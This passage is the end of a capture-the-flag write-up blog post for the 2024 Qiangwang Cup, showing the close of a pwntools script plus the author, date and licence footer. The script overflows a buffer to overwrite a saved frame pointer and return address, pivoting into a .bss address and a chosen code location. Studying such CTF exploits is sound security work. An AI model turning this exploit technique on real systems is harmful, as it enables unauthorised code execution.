Exit()
p.recvuntil(b'number.\n')

#gdb.attach(p)

bss = program.address + 0x5500
unwind_target = program.address + 0x2516

payload = b'a'*0x20 + p64(bss) + p64(unwind_target)
p.send(payload)

p.interactive()

qwb2024
https://voidchunk.github.io/2024/11/28/qwb2024/
作者
voidchunk
发布于
2024年11月28日
许可协议